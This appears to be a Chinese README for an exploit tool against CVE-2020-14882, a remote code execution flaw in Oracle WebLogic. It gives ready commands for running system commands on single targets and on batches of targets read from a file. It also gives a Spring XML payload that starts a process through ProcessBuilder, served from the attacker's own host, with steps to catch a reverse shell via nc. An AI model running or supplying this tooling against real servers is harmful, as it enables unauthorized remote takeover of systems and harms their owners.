57 lines
1.5 KiB
Markdown
Raw Normal View History

2022-03-01 10:29:38 +08:00
# CVE-2020-14882 RCE 漏洞
>CVE-2020-14882_ALL综合利用工具支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能。
>
>需要模块requests、http.client
### 选项
![](./images/1.png)
### 功能一:命令回显
python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "net user"
![](./images/2.png)
python3 CVE-2020-14882_ALL.py -u http://1.1.1.1:7001 -c "whoami"
![](./images/3.png)
### 功能二:批量命令回显
```shell script
python3 CVE-2020-14882_ALL.py -f target.txt -c "whoami"
```
> target.txt 格式http://x.x.x.x:xx一行一个。
![](./images/4.png)
### 功能三外置xml文件无回显命令执行
1. Linux反弹shell为例编辑好poc.xml文件开启python监听。
```xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
</list>
</constructor-arg>
</bean>
</beans>
```
开启python监听。
![](./images/5.png)
nc开启监听。
![](./images/6.png)
2. 使用-x选项指定xml文件路径发送payload。
```shell script
python3 CVE-2020-14882_ALL.py -u http://xxxx:7001 -x http://xxx:8000/poc.xml
```
![](./images/7.png)
3. 成功接收shell。
![](./images/8.png)